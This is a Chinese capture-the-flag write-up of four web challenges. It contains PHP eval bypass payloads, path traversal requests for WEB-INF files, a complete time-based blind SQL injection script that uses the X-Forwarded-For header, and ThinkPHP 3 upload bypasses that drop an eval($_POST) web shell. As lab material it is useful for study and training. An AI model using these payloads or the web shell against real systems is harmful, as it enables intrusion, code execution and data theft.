Easy_calc(url解析)
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']','$','\','^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
页面是一个 计算机,读到calc.php源码
apache配置让num输入字符无法解析
GET /calc.php?%20num=print_r(scandir(chr(47))) //读目录
Array
(
[0] => .
[1] => ..
[2] => .dockerenv
[3] => bin
[4] => boot
[5] => dev
[6] => etc
[7] => f1agg
[8] => home
[9] => lib
[10] => lib64
[11] => media
[12] => mnt
[13] => opt
[14] => proc
[15] => root
[16] => run
[17] => sbin
[18] => srv
[19] => start.sh
[20] => sys
[21] => tmp
[22] => usr
[23] => var
)
Payload1
var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
Payload2
GET /calc.php?%20num=eval(end(getallheaders())) HTTP/1.1
Host: node3.buuoj.cn:28036
flag: var_dump(file_get_contents('/f1agg'));
Easyjava(Java文件结构)
登陆页面看到接口GET /Download?filename=help.docx
开始尝试
POST /Download?filename=/images/img1.jpg HTTP/1.1
POST /Download?filename=/WEB-INF/web.xml HTTP/1.1
得到
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
最后得到flag
POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class HTTP/1.1
flagLjava/lang/String;<init>()VCodeLineNumberTabledoGetR(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V
Exceptions#$
SourceFileFlagController.javaRuntimeVisibleAnnotations%Ljavax/servlet/annotation/WebServlet;nameFlagController<ZmxhZ3s5YjY3N2UwNC03MzM1LTQyNWEtYTMxZi1iOTVmZTc1MWFlNmR9Cg==
%&'&<h1>Flag is nearby ~ Come on! !
Online_proxy(时间盲注)
脚本
import requests
import string
import random
import time
import sys
url = 'http://*********************.4hou.com.cn:*****/'
def rand_str(length=8):
return ''.join(random.sample(string.ascii_letters + string.digits, length))
def brute_schema(i, c):
cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
headers = {"X-Forwarded-For": "1' and if(binary(select substr(table_schema,%d,1) from information_schema.tables group by table_schema limit 4,1)>=char(%d),sleep(1),0))#" % (i, ord(c))}
headers["X-Forwarded-For"] += rand_str()
while True:
try:
requests.get(url, headers=headers, cookies=cookies, timeout=3)
except:
continue
break
headers["X-Forwarded-For"] = rand_str()
t1 = 0
t2 = 0
while True:
try:
t1 = time.time()
requests.get(url, headers=headers, cookies=cookies, timeout=3)
t2 = time.time()
except:
continue
break
if t2 - t1 > 1: return True
return False
def brute_table(i, c):
cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
headers = {"X-Forwarded-For": "1' and if(binary(select substr(table_name,%d,1) from information_schema.tables where table_schema='F4l9_D4t4B45e' limit 0,1)>=char(%d),sleep(2),0))#" % (i, ord(c))}
headers["X-Forwarded-For"] += rand_str()
while True:
try:
requests.get(url, headers=headers, cookies=cookies, timeout=3)
except:
continue
break
headers["X-Forwarded-For"] = rand_str()
t1 = 0
t2 = 0
while True:
try:
t1 = time.time()
requests.get(url, headers=headers, cookies=cookies, timeout=3)
t2 = time.time()
except:
continue
break
if t2 - t1 > 2: return True
return False
def brute_column(i, c):
cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
headers = {"X-Forwarded-For": "1' and if(binary(select substr(column_name,%d,1) from information_schema.columns where table_name='F4l9_t4b1e' limit 0,1)>=char(%d),sleep(2),0))#" % (i, ord(c))}
headers["X-Forwarded-For"] += rand_str()
while True:
try:
requests.get(url, headers=headers, cookies=cookies, timeout=3)
except:
continue
break
headers["X-Forwarded-For"] = rand_str()
t1 = 0
t2 = 0
while True:
try:
t1 = time.time()
requests.get(url, headers=headers, cookies=cookies, timeout=3)
t2 = time.time()
except:
continue
break
if t2 - t1 > 2: return True
return False
def brute_flag(i, c):
cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
headers = {"X-Forwarded-For": "1' and if(binary(select substr(F4l9_c01umn,%d,1) from F4l9_D4t4B45e.F4l9_t4b1e limit 1,1)>=char(%d),sleep(1),0))#" % (i, ord(c))}
headers["X-Forwarded-For"] += rand_str()
while True:
try:
requests.get(url, headers=headers, cookies=cookies, timeout=3)
except:
continue
break
headers["X-Forwarded-For"] = rand_str()
t1 = 0
t2 = 0
while True:
try:
t1 = time.time()
requests.get(url, headers=headers, cookies=cookies, timeout=3)
t2 = time.time()
except:
continue
break
if t2 - t1 > 1: return True
return False
'''
schema = ''
for i in range(999):
l = 0
m = 0
r = 0xff
while True:
m = (l + r) / 2
print l, m, r
if brute_schema(i + 1, chr(m)):
if m == l:
schema += chr(l)
break
l = m
else:
if m == l:
schema += chr(l)
break
r = m
print schema
'''
'''
table = ''
for i in range(999):
l = 0
m = 0
r = 0xff
while True:
m = (l + r) / 2
print l, m, r
if brute_table(i + 1, chr(m)):
if m == l:
table += chr(l)
break
l = m
else:
if m == l:
table += chr(l)
break
r = m
print table
'''
'''
column = ''
for i in range(999):
l = 0
m = 0
r = 0xff
while True:
m = (l + r) / 2
print l, m, r
if brute_column(i + 1, chr(m)):
if m == l:
column += chr(l)
break
l = m
else:
if m == l:
column += chr(l)
break
r = m
print column
'''
flag = ''
for i in range(len(flag),999):
l = 0
m = 0
r = 0xff
while True:
m = (l + r) / 2
print l, m, r
if brute_flag(i + 1, chr(m)):
if m == l:
flag += chr(l)
break
l = m
else:
if m == l:
flag += chr(l)
break
r = m
print flag
Simple_upload(tp框架漏洞)
tp框架
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
测试上传功能没问题,但是源码中限制了$_FILES[file]
文件名不能是.php文件,得想办法绕过。
查看thinkphp3的源码,ThinkPHP/Library/Think/Upload.class.php
就是对应Upload
类。我们可以发现上述代码中的allowExts
属性其实并不存在,TP3 中限制上传文件后缀类型的属性应该是exts
。
解法1
上传类的upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存,而题目中只限制了 $_FILES[‘file’] 的上传后缀,也只给出$_FILES[‘file’] 上传后的路径,那我们上传$_FILES的name不为file,比如$_FILES[‘file2’],就可以绕过 php 后缀限制。
在Upload.class.php
的第 27 行
'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组
文件名是通过uniqid函数生成的,uniqid函数是基于以微秒计的当前时间计算的,可以爆破文件名。
脚本
import requests
session = requests.Session()
url="http://localhost:8888/tp"
paramsMultipart = [('file', ('1.txt', "123", 'application/octet-stream')),('file2', ('1.php', "<?php eval($_POST['a']);", 'application/octet-stream'))]
response = session.post(url+"/index.php/home/index/upload", files=paramsMultipart, )
print("Response body: %s" % response.content)
s=response.content.find('5db')
t1=response.content[s:s+13]
t11=int("0x"+t1,16)
paramsMultipart = [('file', ('1.txt', "123", 'application/octet-stream'))]
response = session.post(url+"/index.php/home/index/upload", files=paramsMultipart, )
print("Response body: %s" % response.content)
t2=response.content[s:s+13]
t22=int("0x"+t2,16)
for i in range(t11,t22):
t2=hex(i)[2:]
print t2
url2=url+"/Public/Uploads/2019-10-24/"+t2+".php"
response = session.get(url2)
if response.status_code==200:
print("Response body: %s" % response.content)
break
解法2
在Upload.class.php
的第 157 行
$file['name'] = strip_tags($file['name']);
strip_tags()
函数会去除文件名中的 HTML 标签。因此我们可以构造形如.p<br>hp
这样的文件后缀,从而绕过对于.php
的检测,进入 TP3 的upload类中,它又会帮我们去除 HTML 标签。
POST /index.php/home/index/upload HTTP/1.1
Host: 2f65d526-4167-4f89-bb36-1e748aed6d13.node3.buuoj.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Origin: http://172.21.11.222
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysVAM76Hq7GOSqE1m
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 224
------WebKitFormBoundarysVAM76Hq7GOSqE1m
Content-Disposition: form-data; name="file"; filename="1.p<br>hp";
Content-Type: text/plain
<?php phpinfo(); eval($_POST['a']); ?>
------WebKitFormBoundarysVAM76Hq7GOSqE1m--
返回{“url”:”/Public/Uploads/2019-10-24/5db11865ef0bd.php”,”success”:1},再访问得到flag
/Public/Uploads/2019-10-24/5db11865ef0bd.php